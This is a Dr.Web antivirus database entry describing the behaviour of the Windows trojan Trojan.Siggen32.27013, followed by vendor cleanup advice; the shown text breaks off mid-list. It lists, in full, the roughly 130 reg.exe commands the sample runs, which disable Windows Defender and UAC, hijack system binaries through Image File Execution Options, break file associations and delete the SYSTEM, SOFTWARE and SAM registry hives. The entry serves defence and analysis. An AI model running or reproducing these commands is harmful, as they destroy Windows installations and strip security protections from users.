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Trojan.Siggen32.27013

Aggiunto al database dei virus Dr.Web: 2026-02-27

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winload.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntoskrnl.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wininit.exe] 'Debugger' = ''
  • [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LogonUI.exe] 'Debugger' = ''
  • [HKLM\Software\Classes\.com] '' = 'txtfile'
  • [HKLM\Software\Classes\.cmd] '' = 'txtfile'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
  • Registry Editor (RegEdit)
  • Windows Defender
blocks the following features:
  • User Account Control (UAC)
modifies the following system settings:
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewContextMenu' = '00000001'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogOff' = '00000001'
deletes volume shadow copies.
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
  • <SYSTEM32>\winlogon.exe
  • <SYSTEM32>\fontdrvhost.exe
  • <SYSTEM32>\sihost.exe
  • <SYSTEM32>\svchost.exe
  • %WINDIR%\explorer.exe
  • <SYSTEM32>\runtimebroker.exe
  • <SYSTEM32>\dllhost.exe
  • <SYSTEM32>\securityhealthsystray.exe
  • <SYSTEM32>\oobe\useroobebroker.exe
  • <SYSTEM32>\cmd.exe
  • <SYSTEM32>\reg.exe
  • <SYSTEM32>\csrss.exe
  • <SYSTEM32>\smss.exe
the following user processes:
  • iexplore.exe
  • firefox.exe
Modifies file system
Creates the following files
  • <Current directory>\l.bat
  • %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
Miscellaneous
Executes the following
  • '<SYSTEM32>\cmd.exe' /c <Current directory>\l.bat
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\Setup" /v "SetupPhase" /t REG_DWORD /d "00000001" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\Setup" /v "SetupType" /t REG_DWORD /d "00000004" /f
  • '<SYSTEM32>\reg.exe' delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools Yes
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\Setup" /v "CmdLine" /t REG_SZ /d "taskkill /f /im wininit.exe" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\Setup" /v "OsLoaderPath" /t REG_SZ /d "\\by:gun5xi and Bilibili:Fileless attack7891\\" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\Setup" /v "RestartSetup" /t REG_DWORD /d "00000001" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoToolbarsOnTaskbar" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogOff" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winload.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwm.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntoskrnl.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wininit.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LogonUI.exe" /v "Debugger" /t REG_SZ /d "" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\Power" /f /va
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\PowerMgr" /f /va
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Control\Power" /f /va
  • '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Power" /v HibernateEnabled /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Power" /v StandbyEnabled /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Power" /v CsEnabled /d 0 /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\7648efa3-dd9c-4e3e-b566-50f929386280" /v Attributes /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Control Panel\PowerCfg" /v PowerButtonAction /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKCU\Control Panel\PowerCfg" /v HibernateButtonAction /d "0" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "cmd.exe" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "*.bat" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 3 /t REG_SZ /d "*.cmd" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.txt" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.log" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.ini" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.cfg" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.conf" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.inf" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.csv" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.c" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.cpp" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.h" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.hpp" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.java" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.py" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.js" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.php" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.html" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.htm" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.css" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.xml" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.json" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.doc" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.docx" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.xls" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.xlsx" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.ppt" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.pptx" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.rtf" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.odt" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.msi" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.com" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.cmd" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.vbs" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.ps1" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.sh" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.jpg" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.jpeg" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.png" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.gif" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.bmp" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.ico" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.svg" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.tiff" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.mp3" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.wav" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.flac" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.aac" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.ogg" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.wma" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.mp4" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.avi" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.mkv" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.mov" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.wmv" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.flv" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.m4v" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.zip" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.rar" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.7z" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.tar" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' add "HKCR\.gz" /ve /t REG_SZ /d "txtfile" /f
  • '<SYSTEM32>\reg.exe' delete "HKU\S-1-5-18" /f
  • '<SYSTEM32>\reg.exe' delete "HKU\S-1-5-19" /f
  • '<SYSTEM32>\reg.exe' delete "HKU\S-1-5-20" /f
  • '<SYSTEM32>\reg.exe' delete "HKCR\CLSID" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SAM\SAM\Accounts\Users" /f /va
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE" /f
  • '<SYSTEM32>\smss.exe' 000000e4 00000084
  • '<SYSTEM32>\smss.exe' 000000a0 00000084
  • '<SYSTEM32>\smss.exe' 000000cc 00000084
  • '<SYSTEM32>\smss.exe' 000000ec 00000084
  • '<SYSTEM32>\smss.exe' 000000c4 00000084
  • '<SYSTEM32>\smss.exe' 000000d0 00000084
  • '<SYSTEM32>\smss.exe' 000000e8 00000084
  • '<SYSTEM32>\smss.exe' 000000d4 00000084
  • '<SYSTEM32>\smss.exe' 000000c8 00000084
  • '<SYSTEM32>\smss.exe' 000000e0 00000084
  • '<SYSTEM32>\smss.exe' 00000100 00000084
  • '<SYSTEM32>\smss.exe' 000000f8 00000084
  • '<SYSTEM32>\smss.exe' 000000fc 00000084
  • '<SYSTEM32>\smss.exe' 000000f0 00000084
  • '<SYSTEM32>\smss.exe' 00000104 00000084
  • '<SYSTEM32>\smss.exe' 00000110 00000084
  • '<SYSTEM32>\smss.exe' 0000012c 00000084
  • '<SYSTEM32>\smss.exe' 00000140 00000084
  • '<SYSTEM32>\smss.exe' 00000154 00000084
  • '<SYSTEM32>\smss.exe' 00000168 00000084
  • '<SYSTEM32>\smss.exe' 0000017c 00000084
  • '<SYSTEM32>\smss.exe' 00000190 00000084
  • '<SYSTEM32>\smss.exe' 000001a4 00000084
  • '<SYSTEM32>\smss.exe' 000001b8 00000084
  • '<SYSTEM32>\smss.exe' 000001cc 00000084
  • '<SYSTEM32>\smss.exe' 000001e0 00000084
  • '<SYSTEM32>\smss.exe' 000001f0 00000084
  • '<SYSTEM32>\smss.exe' 000001e8 00000084
  • '<SYSTEM32>\smss.exe' 000001f8 00000084
  • '<SYSTEM32>\smss.exe' 0000011c 00000084
  • '<SYSTEM32>\smss.exe' 000001fc 00000084
  • '<SYSTEM32>\smss.exe' 0000020c 00000084
  • '<SYSTEM32>\smss.exe' 000001e4 00000084
  • '<SYSTEM32>\smss.exe' 00000220 00000084
  • '<SYSTEM32>\smss.exe' 00000234 00000084
  • '<SYSTEM32>\smss.exe' 000001dc 00000084
  • '<SYSTEM32>\smss.exe' 00000248 00000084
  • '<SYSTEM32>\smss.exe' 0000025c 00000084
  • '<SYSTEM32>\smss.exe' 000001ec 00000084
  • '<SYSTEM32>\smss.exe' 00000264 00000084
  • '<SYSTEM32>\smss.exe' 00000260 00000084
  • '<SYSTEM32>\smss.exe' 00000254 00000084
  • '<SYSTEM32>\smss.exe' 00000240 00000084
  • '<SYSTEM32>\smss.exe' 00000258 00000084
  • '<SYSTEM32>\smss.exe' 00000250 00000084
  • '<SYSTEM32>\smss.exe' 0000024c 00000084
  • '<SYSTEM32>\smss.exe' 00000238 00000084
  • '<SYSTEM32>\smss.exe' 00000244 00000084
  • '<SYSTEM32>\smss.exe' 0000023c 00000084
  • '<SYSTEM32>\smss.exe' 00000274 00000084
  • '<SYSTEM32>\smss.exe' 00000284 00000084
  • '<SYSTEM32>\smss.exe' 00000298 00000084
  • '<SYSTEM32>\smss.exe' 000002ac 00000084
  • '<SYSTEM32>\smss.exe' 000002c0 00000084
  • '<SYSTEM32>\smss.exe' 000002d4 00000084
  • '<SYSTEM32>\smss.exe' 000002e8 00000084
  • '<SYSTEM32>\smss.exe' 000002fc 00000084
  • '<SYSTEM32>\smss.exe' 00000310 00000084
  • '<SYSTEM32>\smss.exe' 00000324 00000084
  • '<SYSTEM32>\smss.exe' 00000200 00000084
  • '<SYSTEM32>\smss.exe' 0000031c 00000084
  • '<SYSTEM32>\smss.exe' 0000033c 00000084
  • '<SYSTEM32>\smss.exe' 00000348 00000084
  • '<SYSTEM32>\smss.exe' 0000035c 00000084
  • '<SYSTEM32>\smss.exe' 00000370 00000084
  • '<SYSTEM32>\smss.exe' 00000384 00000084
  • '<SYSTEM32>\smss.exe' 00000330 00000084
  • '<SYSTEM32>\smss.exe' 0000037c 00000084
  • '<SYSTEM32>\smss.exe' 0000039c 00000084
  • '<SYSTEM32>\smss.exe' 000003a8 00000084
  • '<SYSTEM32>\smss.exe' 000003bc 00000084
  • '<SYSTEM32>\smss.exe' 000003d0 00000084
  • '<SYSTEM32>\smss.exe' 000003e4 00000084
  • '<SYSTEM32>\smss.exe' 000003f8 00000084
  • '<SYSTEM32>\smss.exe' 000003fc 00000084
  • '<SYSTEM32>\smss.exe' 000003f4 00000084
  • '<SYSTEM32>\smss.exe' 000003f0 00000084
  • '<SYSTEM32>\smss.exe' 000003dc 00000084
  • '<SYSTEM32>\smss.exe' 000003e8 00000084
  • '<SYSTEM32>\smss.exe' 000003cc 00000084
  • '<SYSTEM32>\smss.exe' 000003c8 00000084
  • '<SYSTEM32>\smss.exe' 000003c0 00000084
  • '<SYSTEM32>\smss.exe' 000003a0 00000084
  • '<SYSTEM32>\smss.exe' 000003c4 00000084
  • '<SYSTEM32>\smss.exe' 000003a4 00000084
  • '<SYSTEM32>\smss.exe' 00000398 00000084
  • '<SYSTEM32>\smss.exe' 00000380 00000084
  • '<SYSTEM32>\smss.exe' 0000036c 00000084
  • '<SYSTEM32>\smss.exe' 00000368 00000084
  • '<SYSTEM32>\smss.exe' 00000360 00000084
  • '<SYSTEM32>\smss.exe' 00000340 00000084
  • '<SYSTEM32>\smss.exe' 00000364 00000084
  • '<SYSTEM32>\smss.exe' 00000344 00000084
  • '<SYSTEM32>\smss.exe' 00000338 00000084
  • '<SYSTEM32>\smss.exe' 00000320 00000084
  • '<SYSTEM32>\smss.exe' 00000318 00000084
  • '<SYSTEM32>\smss.exe' 0000030c 00000084
  • '<SYSTEM32>\smss.exe' 000002f0 00000084
  • '<SYSTEM32>\smss.exe' 000002ec 00000084
  • '<SYSTEM32>\smss.exe' 000002d0 00000084
  • '<SYSTEM32>\smss.exe' 000002c4 00000084
  • '<SYSTEM32>\smss.exe' 000002b0 00000084
  • '<SYSTEM32>\smss.exe' 000002cc 00000084
  • '<SYSTEM32>\smss.exe' 000002c8 00000084
  • '<SYSTEM32>\smss.exe' 000002a4 00000084
  • '<SYSTEM32>\smss.exe' 000002b8 00000084
  • '<SYSTEM32>\smss.exe' 000002a8 00000084
  • '<SYSTEM32>\smss.exe' 00000294 00000084
  • '<SYSTEM32>\smss.exe' 00000288 00000084
  • '<SYSTEM32>\smss.exe' 000002f8 00000084
  • '<SYSTEM32>\smss.exe' 00000270 00000084
  • '<SYSTEM32>\smss.exe' 000001f4 00000084
  • '<SYSTEM32>\smss.exe' 00000268 00000084
  • '<SYSTEM32>\smss.exe' 0000026c 00000084
  • '<SYSTEM32>\smss.exe' 0000029c 00000084
  • '<SYSTEM32>\smss.exe' 000002e0 00000084
  • '<SYSTEM32>\smss.exe' 0000032c 00000084
  • '<SYSTEM32>\smss.exe' 000002d8 00000084
  • '<SYSTEM32>\smss.exe' 00000378 00000084
  • '<SYSTEM32>\smss.exe' 00000388 00000084
  • '<SYSTEM32>\smss.exe' 00000334 00000084
  • '<SYSTEM32>\smss.exe' 000003b0 00000084
  • '<SYSTEM32>\smss.exe' 000003d4 00000084
  • '<SYSTEM32>\smss.exe' 00000390 00000084
  • '<SYSTEM32>\smss.exe' 00000394 00000084
  • '<SYSTEM32>\smss.exe' 000003ec 00000084
  • '<SYSTEM32>\smss.exe' 000003e0 00000084
  • '<SYSTEM32>\smss.exe' 000003b4 00000084
  • '<SYSTEM32>\smss.exe' 000003b8 00000084
  • '<SYSTEM32>\smss.exe' 0000038c 00000084
  • '<SYSTEM32>\smss.exe' 00000354 00000084
  • '<SYSTEM32>\smss.exe' 00000350 00000084
  • '<SYSTEM32>\smss.exe' 0000034c 00000084
  • '<SYSTEM32>\smss.exe' 000003d8 00000084
  • '<SYSTEM32>\smss.exe' 00000374 00000084
  • '<SYSTEM32>\smss.exe' 00000358 00000084
  • '<SYSTEM32>\smss.exe' 00000328 00000084
  • '<SYSTEM32>\smss.exe' 00000314 00000084
  • '<SYSTEM32>\smss.exe' 000002f4 00000084
  • '<SYSTEM32>\smss.exe' 000002e4 00000084
  • '<SYSTEM32>\smss.exe' 00000308 00000084
  • '<SYSTEM32>\smss.exe' 00000300 00000084
  • '<SYSTEM32>\smss.exe' 000002dc 00000084
  • '<SYSTEM32>\smss.exe' 000002b4 00000084
  • '<SYSTEM32>\smss.exe' 000002a0 00000084
  • '<SYSTEM32>\smss.exe' 0000027c 00000084
  • '<SYSTEM32>\smss.exe' 000003ac 00000084
  • '<SYSTEM32>\smss.exe' 00000290 00000084
  • '<SYSTEM32>\smss.exe' 00000278 00000084
  • '<SYSTEM32>\smss.exe' 00000280 00000084
  • '<SYSTEM32>\smss.exe' 0000028c 00000084
  • '<SYSTEM32>\smss.exe' 00000230 00000084
  • '<SYSTEM32>\smss.exe' 00000228 00000084
  • '<SYSTEM32>\smss.exe' 00000210 00000084
  • '<SYSTEM32>\smss.exe' 0000021c 00000084
  • '<SYSTEM32>\smss.exe' 00000204 00000084
  • '<SYSTEM32>\smss.exe' 00000214 00000084
  • '<SYSTEM32>\smss.exe' 000001d8 00000084
  • '<SYSTEM32>\smss.exe' 000001d0 00000084
  • '<SYSTEM32>\smss.exe' 000001c0 00000084
  • '<SYSTEM32>\smss.exe' 000001bc 00000084
  • '<SYSTEM32>\smss.exe' 000001a0 00000084
  • '<SYSTEM32>\smss.exe' 0000019c 00000084
  • '<SYSTEM32>\smss.exe' 00000194 00000084
  • '<SYSTEM32>\smss.exe' 00000174 00000084
  • '<SYSTEM32>\smss.exe' 00000198 00000084

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
